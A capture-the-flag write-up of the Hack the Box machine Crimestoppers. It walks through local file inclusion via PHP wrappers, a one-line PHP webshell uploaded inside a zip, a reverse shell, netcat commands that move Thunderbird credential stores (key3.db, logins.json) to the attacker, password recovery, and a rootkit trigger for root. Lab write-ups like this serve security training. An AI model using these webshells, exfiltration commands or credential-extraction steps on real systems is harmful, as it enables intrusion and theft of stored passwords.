Hack the Box Writeup - Crimestoppers

A fun box, with a few twists and turns, will hopefully make for an interesting writeup. This is my guide to retired Hack the Box machine, Crimestoppers.

Hack the Box Writeup - Crimestoppers

A fun box, with a few twists and turns, will hopefully make for an interesting writeup. This is my guide to retired Hack the Box machine, Crimestoppers.


We start with the trusty nmap scan.

$ nmap -sC -sV -p- -oA nmap/scan

And there seems to be a scarcity of ports on this one. Only port 80 appears to be open.


Lets crack open our browser and take a look at the site.


So someone has perpetrated an attack on the Allsafe Corporation, and this site is asking for tips. Browsing around the site we find some interesting functionality. There is an upload feature that we will take a closer look at.

We can submit a tip, and provide our name, hit upload, and then our tip is displayed back to us. Take a closer look at the URL of this page.


That op parameter looks interesting; and as we browse the site we see that that parameter seems to change based on what page we are looking at. A prime candidate for Local File Inclusion.


So let's change the URL to something else.

Let's try


Well that's rude. The developer here is protecting against basic LFI attacks. Let's see if we can get a bit more creative.

I tried the following with no success:

  • Null byte:
  • Double encoding:
  • Path truncation:[…]../../../../../etc/passwd&secretname=2f4823095649cab523452053417cded1dee9259e

OK, so we need to step up our game a little. Let's try a built-in PHP Wrapper.

Playing around with them for a while I finally hit upon one that works, but seems limited to the web directory we are in. No /etc/passwd for us. But this does mean we can take a closer look at the source code for the site.

We can use the following URLs to get the source of the site:


Each of those will return us a Base 64 encoded string of the source files. Once, we've decoded them (base64 --decode), we can have a read of what is actually going on under the hood.

The first thing we notice in the index.php page, is that there is a disabled link based on a value in a cookie.

<ul class="nav navbar-nav">
  <li><a href="?op=upload">Upload</a></li>
  <?php if ($_COOKIE['admin'] == 1) { 
      echo '<li><a href="?op=list">List</a></li>';

So all we do is modify our cookie to set the admin parameter to 1 and now we have access to the list url as well.


Hmmm, that Whiterose.txt looks different to all the other tips uploaded. Clicking on it shows us a message from the hacker!

Hello, <br /> You guys should really learn to code, one of the GET Parameters is still vulnerable. Most will think it just leads to a Source Code disclosure but there is a chain that provides RCE. <br /> Contact [email protected] for more info. 

OK, so we already know that one of the parameters is vulnerable as that is how we were able to view the source code and find this file, but it's interesting that it tells us there is the possibility of remote command execution.

As one PHP Wrapper has worked, maybe another one will too.

First let's create a small PHP file.

<?php $_GET['param1']($_GET['param2']); ?>

Then, lets zip it up.

$ zip -0 shell.zip shell.php

Take note of the -0 flag there; we don't want the file compressed, just in the correct format.

Now, load up Burp suite and set your browser to run through the proxy. Navigate to the upload page, fill it with some text, and before hitting submit turn Interception on in Burp.

Hit the submit button and then take a look at the post request.


Check out the tip section. Lets select all of the test123 part (including the space at the beginning that the form seems to have prepended to our tip, and then right click on it and select paste from file.


Select our shell.zip and click forward. The request should go through OK, and the view page should just show an empty tip, but make a note of the secretname parameter as we will need this for the next part.

Referring back to the source code of the upload file, we can see that the website stores each tip in an uploads folder, with sub-directories for each client IP address that submits a tip.

Using another PHP filter, our knowledge of the directory structure, and the secretname of our uploaded zip file. We can contruct the following URL.

Your URL will obviously look different as the IP address and secretname will be different. Enter that in our browser and take a look at the source.


We have remote command execution! Using this alone we can now access the first user flag.

Now we want a shell.

We can simply repeat the steps above, but now we use the PHP file located in /usr/share/webshells/php/php-reverse-shell.php. Edit the IP address and port you want the shell to connect back to and get that file uploaded. Set up your netcat listener, then browse to the URL, constructed the same as before (but you no longer need the param1 and param2 parts.

Boom, we have a shell.


More Enumeration

Now we have a proper foothold on the machine, let's make our shell a little nicer. Run the following:

$ python3 -c "import pty; pty.spawn('/bin/bash');"

And with that it's time to start our enumeration all over again. We are currently the user www-data which means we have almost no privileges to speak of; but we do have access to some interesting data.

Taking a peek at /etc/passwd shows us the normal user, dom. So let's take a look in his home directory. At first glance there appears to be nothing other than the user flag. But looking at the hidden files and folders shows us a directory for dom's email client, Thunderbird.


CD'ing through the folder structure leads us to a directory with some interesting files. In the directory ImapMail there seems to be some emails we can read.


Interesting. A rootkit on the machine giving root access. Unfortunately, as the email states, running nc localhost 80 followed by get root does not give us root access. Bugger :(

So let's keep looking. there are a couple more interesting files in the main thunderbird directory.


The two files which piqued my interest were key3.db and logins.json. Those two files are how Mozilla products like Firefox and Thunderbird store credentials so you don't get prompted for that pesky password everytime you log into a site or your email.

Using netcat we can send those two files back to our machine to have a crack at them.

$ nc -nlvp 8888 > key3.db # attacker's machine
$ nc -nv 8888 < key3.db # crimestopper's machine
$ nc -nlvp 8888 > logins.json # attacker's machine
$ nc -nv 8888 < logins.json # crimestopper's machine

Once they have finished copying over, we can use a useful tool called firepwd to take a peek at the contents.

Clone the tool to your machine, copy the main python file to where you have the key3.db and logins.json files stored and simply run it.

$ python firepwd.py


You can see there at the bottom we now have a password for dom.

Running netstat -antp shows us that there appears to be an ssh service running internally, so we can run ssh dom@localhost, provide the password we just recovered, and now we have a proper user's access!


If you take a look back at the files in the user's home directory we can see that the user recently successfully sudo'd as admin. But we don't seem to be in the sudoers file, so we can't simply get root this way. The groups command does show that we are members of some useful ones though, so now armed with the knowledge of the apache rootkit we can go digging forensically to find the magic string which will give us root access.

Logic takes us to the apache logs, it being an apache rootkit and all. Let's take a look at them.


Digging through access.log and access.log.1 shows us nothing other than our earlier attempts of enumeration (and compromise) of the website. So lets copy the gzipped files back over to our machine using the same netcat trick from earlier so we can unzip them.

The access.log.2 file has some interesting entries.


It seems to show that a local account requested the page FunSociety, and even though the server responded with a 400 code, it was requested a few more times again later.

Let's swap back over to the crimestoppers machine and give that a go.

$ nc localhost 80
get FunSociety
rootme-0.5 DarkArmy Edition Ready

It worked! We have root, and access to the final flag :)